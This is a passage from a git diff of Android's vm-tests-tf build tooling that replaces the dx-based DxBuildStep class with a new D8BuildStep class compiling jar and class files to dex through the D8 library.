             new BuildStep.BuildFile(new File(mainsJar)),
             false);
@@ -571,7 +571,7 @@
                 OUTPUT_FOLDER,
                 classFileName + ".jar");
 
-        DxBuildStep dexBuildStep = new DxBuildStep(tmpJarFile,
+        D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
                 outputFile,
                 true);
 
diff --git a/tools/vm-tests-tf/src/util/build/D8BuildStep.java b/tools/vm-tests-tf/src/util/build/D8BuildStep.java
new file mode 100644
index 0000000..cd97dba
--- /dev/null
+++ b/tools/vm-tests-tf/src/util/build/D8BuildStep.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import com.android.tools.r8.CompilationMode;
+import com.android.tools.r8.D8;
+import com.android.tools.r8.D8Command;
+import com.android.tools.r8.utils.OutputMode;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.nio.file.attribute.BasicFileAttributes;
+
+public class D8BuildStep extends BuildStep {
+
+  private final boolean deleteInputFileAfterBuild;
+  private final D8Command.Builder builder;
+
+  D8BuildStep(BuildFile inputFile, BuildFile outputFile, boolean deleteInputFileAfterBuild) {
+    super(inputFile, outputFile);
+    this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
+    this.builder =
+        D8Command.builder()
+            .setMode(CompilationMode.DEBUG)
+            .setMinApiLevel(1000)
+            .setEnableDesugaring(false)
+            .setOutputMode(OutputMode.Indexed);
+  }
+
+  @Override
+  boolean build() {
+
+    if (super.build()) {
+      try {
+        builder.setOutputPath(Paths.get(outputFile.fileName.getAbsolutePath()));
+        Files.find(
+                Paths.get(inputFile.fileName.getAbsolutePath()),
+                1000,
+                D8BuildStep::isJarOrClassFile)
+            .forEach(
+                p -> {
+                  try {
+                    builder.addProgramFiles(p);
+                  } catch (Throwable e) {
+                    e.printStackTrace();
+                  }
+                });
+        D8.run(builder.build());
+      } catch (Throwable e) {
+        e.printStackTrace();
+        return false;
+      }
+      if (deleteInputFileAfterBuild) {
+        inputFile.fileName.delete();
+      }
+      return true;
+    }
+    return false;
+  }
+
+  @Override
+  public int hashCode() {
+    return inputFile.hashCode() ^ outputFile.hashCode();
+  }
+
+  @Override
+  public boolean equals(Object obj) {
+    if (super.equals(obj)) {
+      D8BuildStep other = (D8BuildStep) obj;
+
+      return inputFile.equals(other.inputFile) && outputFile.equals(other.outputFile);
+    }
+    return false;
+  }
+
+  private static boolean isJarOrClassFile(Path file, BasicFileAttributes attrs) {
+    if (!attrs.isRegularFile()) {
+      return false;
+    }
+    String name = file.getFileName().toString().toLowerCase();
+    return name.endsWith(".jar") || name.endsWith(".class");
+  }
+}
diff --git a/tools/vm-tests-tf/src/util/build/DxBuildStep.java b/tools/vm-tests-tf/src/util/build/DxBuildStep.java
deleted file mode 100644
index 6e347b2..0000000
--- a/tools/vm-tests-tf/src/util/build/DxBuildStep.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import com.android.dx.command.dexer.Main;
-import java.io.IOException;
-
-public class DxBuildStep extends BuildStep {
-
-    private final boolean deleteInputFileAfterBuild;
-
-    DxBuildStep(BuildFile inputFile, BuildFile outputFile,
-            boolean deleteInputFileAfterBuild) {
-        super(inputFile, outputFile);
-        this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
-    }
-
-    @Override
-    boolean build() {
-
-        if (super.build()) {
-            Main.Arguments args = new Main.Arguments();
-
-            args.jarOutput = true;
-            args.fileNames = new String[] {inputFile.fileName.getAbsolutePath()};
-
-            args.outName = outputFile.fileName.getAbsolutePath();
-
-            int result = 0;
-            try {
-                result = Main.run(args);
-            } catch (IOException e) {
-                e.printStackTrace();
-                return false;
-            }
-
-            if (result == 0) {
-                if (deleteInputFileAfterBuild) {
-                    inputFile.fileName.delete();
-                }
-                return true;
-            } else {
-                System.err.println("exception while dexing "
-                        + inputFile.fileName.getAbsolutePath() + " to "
-                        + args.outName);
-                return false;
-            }
-        }
-        return false;
-    }
-
-    @Override
-    public int hashCode() {
-        return inputFile.hashCode() ^ outputFile.hashCode();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (super.equals(obj)) {
-            DxBuildStep other = (DxBuildStep) obj;
-
-            return inputFile.equals(other.inputFile)
-                    && outputFile.equals(other.outputFile);
-        }
-        return false;
-    }
-
-
-}